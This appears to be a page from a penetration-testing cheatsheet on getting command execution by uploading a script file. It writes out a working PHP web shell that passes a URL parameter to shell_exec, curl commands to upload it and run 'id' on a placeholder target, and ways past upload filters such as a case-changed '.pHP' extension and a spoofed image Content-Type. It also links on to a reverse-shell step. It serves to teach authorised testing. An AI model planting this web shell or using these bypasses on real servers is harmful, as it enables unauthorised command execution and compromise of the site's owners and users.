Execute an uploaded file through a compatible handler

Needs: Controlled executable content survives validation; final storage/URL is handled by the compatible interpreter; process execution is permitted

PHP example, only after PHP handler evidence

# PHP example, only after PHP handler evidence
printf '%s\n' '<?php if(isset($_GET["cmd"])){echo shell_exec($_GET["cmd"]);} ?>' > check.php
curl -sk -b cookies.txt -F 'file=@check.php;filename=check.php;type=application/x-php' http://TARGET:PORT/upload
curl -skG --data-urlencode 'cmd=id' http://TARGET:PORT/uploads/check.php

Decisive output: target command output. A successful upload that downloads, displays source or returns inert text proves write/retrieval only.

Variants — isolate validation layers in Burp Repeater

bypass client-side checks by replaying the raw multipart request;

filename case or alternate extension only when the observed server maps it to the interpreter;

multipart Content-Type independently from filename and content;

magic bytes only when server behavior shows content inspection;

double extensions/trailing characters only when normalization evidence supports them;

server rename and final response Content-Type.

# Variants — isolate validation layers in Burp Repeater
curl -sk -b cookies.txt -F 'file=@check.php;filename=check.pHP;type=image/jpeg' http://TARGET:PORT/upload

Verify → Require target command output and identity; acceptance, source download and a 200 status are weaker results.

If it fails → Check extension mapping, server rename, handler location and content transformation. Do not treat every upload-filter bypass as a shell. More detail ↓

If → then

A PoC, injected command or remote client reports execution → Verify command execution, host and represented identity
Needs: A functioning execution primitive and an observable output or controlled side effect
Linux command execution exists but an interactive channel is needed → Connect a Linux reverse shell through an available interpreter
Needs: A confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener
A multipart filename/import path appears to influence the filesystem destination → Use upload path control to reach a useful consumer
Needs: Destination path control survives normalization; write identity can reach the destination; a known consumer accepts the resulting file

No useful finding → another task in this topic. Failed check → resolve the failure before ruling out the path.

Explanation & examples

Execute an uploaded file through a compatible handler

USE WHEN: Uploads are retrievable and the application stack suggests an executable file handler
STARTING ACCESS: A reproducible application request and a controlled input or access-context comparison
RESULT: Verified application-server command execution

Recognize the clue

Begin with a verified retrievable upload; inspect final naming, response handling and evidence of the application's actual interpreter.

curl -sk -i http://TARGET:PORT/uploads/FILE

SYNTHETIC EXAMPLE OUTPUT

Stored file response:
Content-Type: text/plain
Body: literal uploaded script source

Means: A retrievable script may be inert. The interesting detail is how the final location is handled, not acceptance of a script extension.

Confirm: Retrieve the exact stored upload and request it through the candidate server-side handler. Verify an attributable identity marker from that request; uploaded bytes or a 200 response alone do not prove execution.

After validation: The correct final handler executes the minimal proof as the web identity: choose upload-to-execution.
Ruled out in this context: The file consistently downloads/displays as source in non-executable storage: rule out execution at this location.
Still inconclusive: Unknown server rename or storage URL leaves handler selection unresolved.

Troubleshooting: Check extension mapping, server rename, handler location and content transformation. Do not treat every upload-filter bypass as a shell.

PHP example, only after PHP handler evidence:

Decisive output: target command output. A successful upload that downloads, displays source or returns inert text proves write/retrieval only.

Variants — isolate validation layers in Burp Repeater

Test one property at a time:

bypass client-side checks by replaying the raw multipart request;
filename case or alternate extension only when the observed server maps it to the interpreter;
multipart Content-Type independently from filename and content;
magic bytes only when server behavior shows content inspection;
double extensions/trailing characters only when normalization evidence supports them;
server rename and final response Content-Type.

Changing MIME type is a test of validation, not proof of executable handling.

Why it works

File write crosses into execution only through a consuming interpreter or process. A MIME change may bypass validation while the final storage remains inert.

Worked example · hypothetical

Observation: a script upload is accepted. Test: request its final URL with a minimal command argument. Illustrative output: source downloads instead of running. Interpretation: execution is not proven; seek another handler or write-consumer chain.

New identity, privilege, host or route? Re-enumerate → All topic tasks →

Study guide ↗Full procedure ↗Cheatsheet ↗